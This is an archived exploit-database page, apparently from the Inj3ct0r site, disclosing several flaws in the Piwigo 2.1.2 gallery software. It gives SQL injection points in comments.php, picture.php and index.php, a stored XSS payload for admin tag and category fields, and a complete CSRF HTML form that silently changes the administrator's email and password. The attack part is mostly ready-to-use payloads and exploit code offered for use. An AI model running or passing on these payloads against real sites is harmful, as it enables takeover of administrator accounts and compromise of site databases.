Home / os / win7

[webapps / 0day] - piwigo 2.1.2 Multiple vulnerabilities

Posted on 10 September 2010

<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>piwigo 2.1.2 Multiple vulnerabilities | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='Exploit category: webapps / 0day | Exploit author: Sweet' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></head><body><pre>=====================================
piwigo 2.1.2 Multiple vulnerabilities
=====================================

--=Sql injection=--
 
 
http://www.target.com/path/comments.php?keyword=charif38@hotmail.fr&amp;author=sweet&amp;cat=1[SQLi]&amp;since=1&amp;sort_by=date&amp;sort_order=DESC&amp;items_number=5
 
http://www.target.com/path/picture.php?1sweet[SQLi]&amp;action=rate=0
 
http://www.target.com/path/index.php?/search/10[SQli]
 
 
--=Stored Xss=--
 
Admin login required
Attack pattern : &gt;&#039;&lt;script&gt;alert(&quot;Sweet&quot;)&lt;/script&gt;
 
http://www.target.com/path/admin.php?page=tags
 
The POST variable &quot;Nouveau tag&quot; is vulnerable to a stored xss attack
 
http://www.target.com/path/admin.php?page=cat_list
 
The POST variable &quot;Ajouter une catégorie virtuelle&quot; is vulnerable to a stored xss attack
 
 
 
--=CSRF=--
Change admin password exploit
 
&lt;html&gt;
&lt;body&gt;
&lt;h1&gt;Piwigo-2.1.2 Change admin password CSRF &lt;/h1&gt;
&lt;form method=&quot;POST&quot; name=&quot;form0&quot; action=&quot;http://www.target.com/path/admin.php?page=profile&amp;user_id=1&quot;&gt;
&lt;input type=&quot;hidden&quot; name=&quot;redirect&quot; value=&quot;admin.php?page&quot;/&gt;
&lt;input type=&quot;hidden&quot; name=&quot;mail_address&quot; value=&quot;charif38@hotmail.fr&quot;/&gt; &lt;!-- Your email here --&gt;
&lt;input type=&quot;hidden&quot; name=&quot;use_new_pwd&quot; value=&quot;sweet&quot;/&gt; &lt;!-- Your password here --&gt;
&lt;input type=&quot;hidden&quot; name=&quot;passwordConf&quot; value=&quot;sweet&quot;/&gt; &lt;!-- Your password here --&gt;
&lt;input type=&quot;hidden&quot; name=&quot;nb_image_line&quot; value=&quot;5&quot;/&gt;
&lt;input type=&quot;hidden&quot; name=&quot;nb_line_page&quot; value=&quot;3&quot;/&gt;
&lt;input type=&quot;hidden&quot; name=&quot;theme&quot; value=&quot;Sylvia&quot;/&gt;
&lt;input type=&quot;hidden&quot; name=&quot;language&quot; value=&quot;fr_FR&quot;/&gt;
&lt;input type=&quot;hidden&quot; name=&quot;recent_period&quot; value=&quot;7&quot;/&gt;
&lt;input type=&quot;hidden&quot; name=&quot;expand&quot; value=&quot;false&quot;/&gt;
&lt;input type=&quot;hidden&quot; name=&quot;show_nb_comments&quot; value=&quot;false&quot;/&gt;
&lt;input type=&quot;hidden&quot; name=&quot;show_nb_hits&quot; value=&quot;false&quot;/&gt;
&lt;input type=&quot;hidden&quot; name=&quot;maxwidth&quot; value=&quot;&quot;/&gt;
&lt;input type=&quot;hidden&quot; name=&quot;maxheight&quot; value=&quot;&quot;/&gt;
&lt;p&gt; Push the Button &lt;input type=&quot;submit&quot; name=&quot;validate&quot; value=&quot;Valider&quot;/&gt; &lt;/p&gt;
&lt;/form&gt;
&lt;form method=&quot;GET&quot; name=&quot;form1&quot; action=&quot;http://www.target.com/path/admin.php?page=user_list&quot;&gt;
&lt;input type=&quot;hidden&quot; name=&quot;name&quot; value=&quot;value&quot;/&gt;
&lt;/form&gt;
&lt;/body&gt;
&lt;/html&gt;
 
 
[ thx and RIP to Milw0rm.com , JF - Hamst0r - Keystroke you always be right here 3&gt; ] , inj3ct0r.com , exploit-db.com
 
 
1,2,3 VIVA LALGERIE


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-09-10]</pre></body></html>

 

TOP

Malware :

Exploits :